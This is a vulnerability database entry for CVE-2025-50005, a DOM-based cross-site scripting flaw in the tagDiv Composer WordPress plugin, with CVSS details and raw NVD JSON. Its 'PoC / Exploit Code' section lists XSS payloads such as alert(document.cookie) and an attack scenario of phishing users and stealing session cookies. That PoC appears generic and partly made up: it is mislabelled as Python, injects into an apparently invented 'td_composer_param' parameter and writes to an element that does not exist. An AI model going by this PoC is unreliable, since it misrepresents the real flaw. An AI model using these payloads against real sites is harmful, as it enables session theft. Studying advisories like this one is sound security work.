Security Vulnerability Report
中文
CVE-2025-50005 CVSS 6.5 MEDIUM

CVE-2025-50005

Published: 2026-01-22 17:15:57
Last Modified: 2026-04-27 16:16:28

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tagDiv tagDiv Composer td-composer allows DOM-Based XSS.This issue affects tagDiv Composer: from n/a through <= 5.4.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

tagDiv Composer <= 5.4.2 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-50005 DOM-Based XSS PoC --> <!-- This PoC demonstrates the DOM-based XSS vulnerability in tagDiv Composer --> <!-- Method 1: Via URL parameter injection --> <script> // Generate malicious URL with XSS payload const baseUrl = window.location.origin + window.location.pathname; const maliciousPayload = '<img src=x onerror=alert(document.domain)>'; const exploitUrl = baseUrl + '?td_composer_param=' + encodeURIComponent(maliciousPayload); // Display exploit URL for testing console.log('Exploit URL:', exploitUrl); document.getElementById('poc-url').textContent = exploitUrl; </script> <!-- Method 2: Direct payload injection --> <!-- <img src=x onerror=alert(document.cookie)> --> <!-- <svg onload=alert(document.domain)> --> <!-- <body onload=alert(document.location)> --> <!-- Attack scenario: --> <!-- 1. Attacker crafts a malicious URL with XSS payload in parameter --> <!-- 2. Attacker tricks victim into clicking the link via phishing email or social media --> <!-- 3. Victim's browser executes the injected JavaScript --> <!-- 4. Attacker steals session cookies or performs actions on behalf of victim -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-50005", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:15:57.017", "lastModified": "2026-04-27T16:16:27.847", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in tagDiv tagDiv Composer td-composer allows DOM-Based XSS.This issue affects tagDiv Composer: from n/a through <= 5.4.2."}, {"lang": "es", "value": "Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web ('cross-site scripting') vulnerabilidad en tagDiv tagDiv Composer td-composer permite XSS basado en DOM. Este problema afecta a tagDiv Composer: desde n/a hasta &lt;= 5.4.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/td-composer/vulnerability/wordpress-tagdiv-composer-plugin-5-4-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}